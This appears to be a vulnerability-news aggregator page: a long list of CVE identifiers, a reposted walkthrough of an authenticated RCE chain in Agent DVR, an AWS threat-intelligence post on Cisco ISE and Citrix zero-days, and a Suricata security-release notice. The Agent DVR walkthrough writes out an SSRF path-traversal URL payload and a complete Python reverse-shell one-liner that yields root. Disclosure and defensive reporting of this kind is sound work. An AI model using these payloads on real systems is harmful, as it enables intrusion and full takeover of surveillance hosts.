-2022-49142CVE-2025-38384CVE-2024-57857CVE-2025-39961CVE-2023-53625CVE-2024-49907CVE-2024-36951CVE-2025-39829CVE-2024-56533CVE-2025-40095CVE-2025-40043CVE-2022-48802CVE-2022-50316CVE-2024-37021CVE-2022-49666CVE-2025-38449CVE-2021-47582CVE-2025-38085CVE-2024-41078CVE-2022-50472CVE-2022-48744CVE-2025-39763CVE-2025-39826CVE-2025-38232CVE-2024-35878CVE-2024-35247CVE-2022-50469CVE-2025-37770CVE-2022-50204CVE-2024-49926CVE-2024-49901CVE-2024-56712CVE-2023-53042CVE-2023-53562CVE-2023-52482CVE-2023-52781CVE-2021-47234CVE-2025-38702CVE-2025-40158CVE-2022-49437CVE-2024-49890CVE-2024-56616CVE-2022-49562CVE-2025-22028CVE-2024-42129CVE-2025-21727CVE-2025-37807CVE-2024-46763CVE-2025-22022CVE-2023-53635CVE-2025-40210CVE-2022-49650CVE-2024-35868CVE-2024-42122CVE-2025-38069CVE-2025-39933CVE-2022-49170CVE-2024-26677CVE-2024-50057CVE-2024-44939CVE-2021-47193CVE-2024-36914CVE-2025-40160CVE-2022-50518CVE-2025-21711CVE-2025-39744CVE-2024-56592CVE-2024-49906CVE-2025-38009CVE-2024-26891CVE-2025-38409CVE-2022-48979CVE-2025-21635CVE-2022-49658CVE-2024-50277CVE-2024-58016CVE-2023-53068CVE-2023-53491CVE-2024-35871CVE-2024-43909CVE-2024-56782CVE-2024-45015CVE-2022-50340CVE-2025-38096CVE-2024-56692CVE-2022-48712CVE-2024-53241CVE-2025-21768CVE-2023-52920CVE-2023-52736CVE-2022-49758CVE-2024-44972CVE-2025-39745CVE-2022-49110CVE-2024-35939CVE-2025-38250CVE-2024-26668CVE-2024-53685CVE-2025-21855CVE-2022-49536CVE-2024-53177CVE-2024-41073CVE-2025-38261CVE-2025-38643CVE-2025-22010CVE-2025-38084CVE-2025-22107CVE-2022-49825CVE-2023-52814CVE-2024-42079CVE-2025-38705CVE-2025-38331CVE-2021-47455CVE-2025-39810CVE-2021-47498CVE-2024-42067CVE-2024-35867CVE-2024-46857CVE-2024-56785CVE-2025-39940CVE-2025-21812CVE-2025-38544CVE-2021-47622CVE-2023-52808CVE-2025-22057CVE-2021-47501CVE-2021-47491CVE-2022-50082CVE-2024-38630CVE-2025-38166CVE-2024-47666CVE-2024-38602CVE-2024-46816CVE-2024-46713CVE-2022-49303CVE-2022-49468CVE-2024-46775CVE-2023-52700CVE-2024-35866CVE-2023-53152CVE-2022-49215CVE-2025-38363CVE-2023-52591CVE-2021-47275CVE-2022-49822CVE-2024-56589CVE-2023-52498CVE-2025-39726CVE-2022-49828CVE-2022-50151CVE-2024-53144CVE-2023-53544CVE-2025-39781CVE-2022-50260CVE-2022-49443CVE-2024-43900CVE-2024-39507CVE-2024-58095CVE-2024-49914CVE-2022-50129CVE-2024-35794CVE-2024-26757CVE-2024-27051CVE-2023-53054CVE-2022-49164CVE-2021-47378CVE-2023-52629CVE-2024-26586CVE-2025-38129CVE-2025-39747CVE-2025-37920CVE-2021-47188CVE-2024-49863CVE-2024-44957CVE-2024-26712CVE-2024-26795CVE-2021-47063CVE-2022-49453CVE-2024-49881CVE-2021-47143CVE-2024-42130CVE-2021-47560CVE-2023-53407CVE-2024-26865CVE-2025-38208CVE-2025-21779CVE-2025-39686CVE-2023-52621CVE-2021-47493CVE-2024-41080CVE-2024-35965CVE-2024-35799CVE-2022-49444CVE-2024-56777CVE-2024-26938CVE-2025-37948CVE-2024-27010CVE-2025-21816CVE-2023-52674CVE-2023-52821CVE-2024-42296CVE-2023-52561CVE-2023-52516CVE-2022-50303CVE-2024-36013CVE-2024-26669CVE-2022-48751CVE-2022-49390CVE-2024-42068CVE-2022-49169CVE-2024-43912CVE-2023-52596CVE-2024-41935CVE-2024-56608CVE-2025-40003CVE-2022-48852CVE-2024-56568CVE-2021-47635CVE-2025-39715CVE-2021-47438CVE-2024-42063CVE-2021-47428CVE-2022-50016CVE-2022-48833CVE-2024-42121CVE-2024-27072CVE-2024-49927CVE-2025-21985CVE-2025-40193CVE-2022-50445CVE-2021-46928CVE-2024-36915CVE-2025-38684CVE-2021-47182CVE-2025-38215CVE-2025-40005CVE-2024-53050CVE-2022-49149CVE-2022-50412CVE-2022-49309CVE-2024-46707CVE-2023-52751CVE-2021-47391CVE-2023-53218CVE-2023-53414CVE-2024-56751CVE-2025-40170CVE-2025-38074CVE-2025-37879CVE-2023-53415CVE-2024-57872CVE-2023-53509CVE-2023-53680CVE-2025-39958CVE-2022-48673CVE-2025-37883CVE-2024-56588CVE-2022-49599CVE-2024-57795CVE-2022-49258CVE-2024-41023CVE-2025-22060CVE-2024-38554CVE-2024-41062CVE-2021-47552CVE-2024-46728CVE-2024-49925CVE-2024-49968CVE-2024-53216CVE-2024-46772CVE-2023-53403CVE-2023-52624CVE-2024-46819CVE-2025-23141CVE-2025-38626CVE-2023-52680CVE-2025-38234CVE-2025-21682CVE-2024-26787CVE-2023-53458
Description:
Ref: https://www.ericholub.com/blog/agent-dvr-rce/
Agent DVR is surveillance recording software from iSpyConnect. Versions ≤ 6.6.7.0 are vulnerable to local path traversal, SSRF, and command injection (on Linux), which when combined lead to authenticated RCE. These findings have all been combined into CVE-2025-63408.
Walkthrough:
Agent DVR has a local API where you can access things like recordings without any kind of authentication. Here’s the API docs for it:
[
Swagger UI
https://ispysoftware.github.io/Agent_API/#/
](https://ispysoftware.github.io/Agent_API/#/)
One call in particular is interesting, which is ‘addrecording’. This lets you assign a ‘recording’ to a particular camera.
Turns out this call is vulnerable to path traversal. I’ve already written some exploit code on how to get any file from the filesystem from this:
https://github.com/eric-m-holub/double-agent
This vulnerability can be chained with SSRF and command injection vulnerabilities for full RCE. I’m going to be attacking Agent DVR v6.6.1.0 running on Ubuntu (Linux). I tested these vulns on Windows against the same Agent DVR version and found it was vulnerable to everything but the command injection.
First off, add a new Network IP Camera.
Next select the gear icon to update the Source Type:
Now enter in the following payload for ‘Live URL’:
💲
http://127.0.0.1:8090/command/addrecording?oid=1&ot=2&path=/etc/passwd&name=../../../../Commands/rce.sh
Press ‘OK’ and then flip the camera on and off:
This leverages an SSRF vulnerability which calls this local API and creates a file called ‘rce.sh’ in the ‘Commands’ directory of Agent DVR using directory traversal. It doesn’t matter what the file contents are, only the file extension type.
Now create a new Action and Task for this camera:
Now on the popup to create a task select “Execute Command” and select the created ‘rce’ file:
For the ‘Parameters’ input, this is where you put your system command. Yes, this parameter is vulnerable to command injection, but only when you target a bash script. I had trouble with bash reverse shells, but Python works OK. Here’s that payload:
`python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'`
At this point, I’d suggest updating your new camera to something with an ‘Image’ source so we can make a new recording from it:
You can put any Image URL you want in there
So now start a listener on the port you specified in your payload, and then create a new recording on this new camera and you should get a root shell:
Tah dah. Agent DVR runs as root by default on Linux, so no privilege escalation is necessary. Have a good day.
Related vulnerabilities: CVE-2025-63408
Amazon discovers APT exploiting Cisco and Citrix zero-days
2025-11-13T08:59:31 by Alexandre DulaunoyAmazon discovers APT exploiting Cisco and Citrix zero-days | AWS Security Blog
AWS Security Blog
The Amazon threat intelligence team has identified an advanced threat actor exploiting previously undisclosed zero-day vulnerabilities in Cisco Identity Service Engine (ISE) and Citrix systems. The campaign used custom malware and demonstrated access to multiple undisclosed vulnerabilities. This discovery highlights the trend of threat actors focusing on critical identity and network access control infrastructure—the systems enterprises rely on to enforce security policies and manage authentication across their networks.
Initial discovery
Our Amazon MadPot honeypot service detected exploitation attempts for the Citrix Bleed Two vulnerability (CVE-2025-5777) prior to public disclosure, indicating a threat actor had been exploiting the vulnerability as a zero-day. Through further investigation of the same threat exploiting the Citrix vulnerability, Amazon Threat Intelligence identified and shared with Cisco an anomalous payload targeting a previously undocumented endpoint in Cisco ISE that used vulnerable deserialization logic. This vulnerability, now designated as CVE-2025-20337, allowed the threat actors to achieve pre-authentication remote code execution on Cisco ISE deployments, providing administrator-level access to compromised systems. What made this discovery particularly concerning was that exploitation was occurring in the wild before Cisco had assigned a CVE number or released comprehensive patches across all affected branches of Cisco ISE. This patch-gap exploitation technique is a hallmark of sophisticated threat actors who closely monitor security updates and quickly weaponize vulnerabilities.
Custom web shell deployment
Following successful exploitation, the threat actor deployed a custom web shell disguised as a legitimate Cisco ISE component named IdentityAuditAction. This wasn’t typical off-the-shelf malware, but rather a custom-built backdoor specifically designed for Cisco ISE environments. The web shell demonstrated advanced evasion capabilities. It operated completely in-memory, leaving minimal forensic artifacts, used Java reflection to inject itself into running threads, registered as a listener to monitor all HTTP requests across the Tomcat server, implemented DES encryption with non-standard Base64 encoding to evade detection, and required knowledge of specific HTTP headers to access.
The following is a snippet of the deserialization routine showing the actor’s extensive authentication to access their web shell:
Security implications
As previously noted, Amazon Threat Intelligence identified through our MadPot honeypots that the threat actor was exploiting both CVE-2025-20337 and CVE-2025-5777 as zero-days, and was indiscriminately targeting the internet with these vulnerabilities at the time of investigation. The campaign underscored the evolving tactics of threat actors targeting critical enterprise infrastructure at the network edge. The threat actor’s custom tooling demonstrated a deep understanding of enterprise Java applications, Tomcat internals, and the specific architectural nuances of the Cisco Identity Service Engine. The access to multiple unpublished zero-day exploits indicates a highly resourced threat actor with advanced vulnerability research capabilities or potential access to non-public vulnerability information.
Recommendations for security teams
For security teams, this serves as a reminder that critical infrastructure components like identity management systems and remote access gateways remain prime targets for threat actors. The pre-authentication nature of these exploits reveals that even well-configured and meticulously maintained systems can be affected. This underscores the importance of implementing comprehensive defense-in-depth strategies and developing robust detection capabilities that can identify unusual behavior patterns. Amazon recommends limiting access, through firewalls or layered access, to privileged security appliance endpoints such as management portals.
Vendor references
- NetScaler ADC and NetScaler Gateway Security Bulletin for CVE-2025-5349 and CVE-2025-5777
- Cisco Identity Services Engine Unauthenticated Remote Code Execution Vulnerabilities
If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.
Related vulnerabilities: CVE-2025-5777CVE-2025-20337CVE-2025-5349
Suricata 8.0.2 and 7.0.13 released - including multiple vulnerabilities
2025-11-06T14:22:09 by Alexandre DulaunoySuricata 8.0.2 and 7.0.13 released! - Suricata
We are pleased to announce the releases of Suricata 8.0.2 and 7.0.13.
These are security releases, fixing a number of important issues.
Get the releases here:
8.0.2: https://www.openinfosecfoundation.org/download/suricata-8.0.2.tar.gz
7.0.13: https://www.openinfosecfoundation.org/download/suricata-7.0.13.tar.gz
Notable Changes
Suricata-update has been updated to version 1.3.7. This version is bundled with the releases.
Various security, performance, accuracy, and stability issues have been fixed.
8.0.2 tickets: https://redmine.openinfosecfoundation.org/versions/225
7.0.13 tickets: https://redmine.openinfosecfoundation.org/versions/224
CVE IDs Addressed:
- CVE-2025-64344: HIGH (7.0.x and 8.0.x)
- CVE-2025-64333: HIGH (7.0.x and 8.0.x)
- CVE-2025-64332: HIGH (7.0.x and 8.0.x)
- CVE-2025-64331: HIGH (7.0.x and 8.0.x)
- CVE-2025-64330: HIGH (7.0.x and 8.0.x)
- CVE-2025-64335: HIGH (8.0.x only)
- CVE-2025-64334: HIGH (8.0.x only)
Suricata Security Advisories: https://github.com/OISF/suricata/security/advisories
OISF Signing key updated
The OISF signing key has been recently updated to have a later expiration date. It is the same key as before, but users will need to refresh it:
gpg --receive-keys 2BA9C98CCDF1E93A
It can also be downloaded from:
https://www.openinfosecfoundation.org/downloads/OISF.pub
Special Thanks
Adam Kiripolsky, Alain Térieur, Amir Boussejra, Andreas Dolp, Andy Awad, Bai Liang, Cheng Longfei, Fupeng Zhao, Heng Li, Jamie Lavigne, Jesse Lepich, Jules Lumbergh, Marko Jahnke, Outreachy, OSS-Fuzz, Coverity.
Join us for SuriCon 2025!!
This year’s Suricata Community Conference is happening this month in Montreal, Canada, from November 19 to 21.
SuriCon is a great place to present exciting work or research done with Suricata. Come share it with us! Check the agenda, we always have great talks 
https://suricon.net/agenda-montreal/
This year, we have three 2-day training sessions to choose from, including a brand-new Threat Hunting class, and a Rule Writing training. Some rooms are getting full, don’t miss your spot! https://suricon.net/trainings/
Check everything SuriCon and get book room deals at https://suricon.net/ .
About Suricata
Suricata is a high-performance Network Threat Detection, IDS, IPS, and Network Security Monitoring engine. Open-source and owned by a community-run non-profit foundation, the Open Information Security Foundation (OISF). Suricata is developed by OISF, its supporting vendors, and the community.
———————————————
Originally posted by Victor Julien to the Suricata forum: https://forum.suricata.io/t/suricata-8-0-2-and-7-0-13-released
Related vulnerabilities: CVE-2025-64333CVE-2025-64344CVE-2025-64331CVE-2025-64332CVE-2025-64334CVE-2025-64330CVE-2025-64335